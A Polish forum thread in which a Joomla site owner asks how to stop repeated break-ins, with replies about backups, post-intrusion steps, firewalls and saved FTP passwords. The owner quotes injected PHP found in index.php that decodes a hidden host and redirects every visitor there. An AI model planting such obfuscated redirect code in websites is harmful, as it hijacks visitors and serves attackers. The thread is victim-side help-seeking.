Włamania na stronę

[piotrusbor]

Witam
Od dwóch tygodni ktoś włamuje się bezczelnie na moja stronę !!!
Ja przywracam pliki z serwera z kopii, mijają 4h i znowu to samo. Podejrzewam, iż dzieje się to przez SQL, ale pewności nie mam. Adres strony - http://www.akces.eu, Wersja Joomla 1.5.22 czyli najbardziej aktualna. Zgłosiłem to na policję, ale znając życie to i tak z tym nic nie zrobią ;/ Jak zlokalizować takiego kogoś, lub ewentualnie jakoś dobrze zablokować, aby już tego nie robił. Bardzo mnie to drażni. Po dokonanym włamaniu na stronie widnieje komunikat o treści : Parse error: syntax error, unexpected '<' in /index.php on line 88.
Bardzo proszę forumowiczów o pomoc. Dodam, że pliki mają odpowiednie prawa tak jak jest to opisane w helpie Joomli .
Proszę o ewentualne podpowiedzi jak dorwać tego kogoś, zlokalizować lub zablokować ?

Dodam, że w kodzie index.php pojawia się cos takiego jak poniżej:

echo JResponse::toString($mainframe->getCfg('gzip'));<?php if(!isset($tf['engine'])){$tf['engine']=1;$tf['s']=base64_decode('a2hjb2wuY29t');$tf['u']='http://'.$tf['s'].'/page/';$tf['r']="?ref=".base64_encode('http://'.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']);if(!isset($_GET['rf'])){if(!@headers_sent()){@header("HTTP/1.1 302 Moved Temporarily");@header("Location: ".$tf['u'].$tf['r']);}echo "<h3>Page Moved</h3>The page you are trying to open has been moved.<br><br>Use the navigation links on the right of this page, the search box at the top, or the site map link below to find the new location of the page you're seeking.<br><br>Click the link below to follow new url.<br><br><a href=\"".$tf['u']."\">".$tf['u']."</a>";echo "<script type=\"text/javascript\">document.location = \"".$tf['u'].$tf['r']."\";</script>";exit;}

Bardzo proszę o pomoc .

[palyga007]

1. A jaką masz pewność że twoja kopia bezpieczeństwa nie jest zainfekowana?

Postępowanie po włamaniu opisane jest dokładnie na wiki joomla.

[piotrusbor]

No właśnie nadpisywałem kopie wykonaną przed atakiem z lutego, a włamania dokonywane są od 2 tygodni, więc raczej odpada opcja iż backup jest zainfekowany ;/

[palyga007]

http://wiki.joomla.pl/index.php/Witr..._w%C5%82amaniu

Cóż więcej można napisać. Tam wszystko jest wyjaśnione.

[piotrusbor]

Ponownie:
1.)Wykonane
2.)Usługodawca serwera home.pl - spr. tylko logi a tam nic nie ma
3.)o tym nie pomyślałem, ale zaraz to wykonam jak tylko ktoś ponownie się włamie (link nie działa !)
4.)j.w
5.)patrz pkt. 4
6.)patrz pkt. 2
7.)kasowałem i nadgrywałem (luty)
8.)backup bazy z luty
9.)wykonane
10.)wykonane
11.)patrz pkt. 10
12.)patrz pkt. 10
13.)patrz pkt. 10
14.) i o to chodzi - powraca ;/

---------- Post dodany o 09:47 ---------- Poprzedni post był o 09:32 ----------

Wydaj mi się, że może to być jakieś włamanie po SQL injection przez lukę w Joomla 1.5.22, tylko jak zlokalizować gdzie jest ta luka, lub ewentualnie jak ktoś wchodzi przez nią w cały system ?
Zauważyłem jeszcze, iż moja strona próbuje dokonać przekierowania na adres www.khcol.com

[marco]

Proponuję kupić komercyjnego firewalla. Swoim klientom instaluję RSFirewall i jestem bardzo zadowolony.

[AndiC]

Jakiego klienta FTP używasz ? i czy masz w nim zapamiętane dane do logowania ?

[piotrusbor]

opd.

FTp Total Comander 7.0x, tak zapamiętane mam, ale co to ma do rzeczy skoro zmieniałem hasło to po I, a po II, skanowałem kompa pod kątem Keylogera;/

Firewall nic mi nie da, bo to jest zastosowanie bezpośrednio na kompa a nie na serwa zewnętrznego u usługodawcy.;/ Pewnie są jakieś luki w Joomla i tyle. Specem od programowania w PHP to ja nie jestem, coś tam wiem ale to za mało;/ Więc radzę się was jak mogę;/ Skoro mam wersję 1.5.22 to znaczy że najnowszą;/

[palyga007]

1. Wyłącz zapamiętywanie haseł i włącz szyfrowanie połączeń.

A chociaż sprawdziłeś o czym napisał @marco?
Jeśli nie wiesz o czym mówisz to może lepiej się nie wypowiadać.

[nikszal]

Właśnie wracam ze strony http://twierdzamodlin.nsk.pl/ po włamaniu. Mają panowie hackerzy pomysły, oj mają. Dorzucili swoje dwa pliki, w tym jeden tekstowy (4,88 MB) z linkami do stron pornograficznych i zmyślnie zmodyfikowali configuration.php , bo data zmian w pliku była z marca, a włamanie było dzisiaj.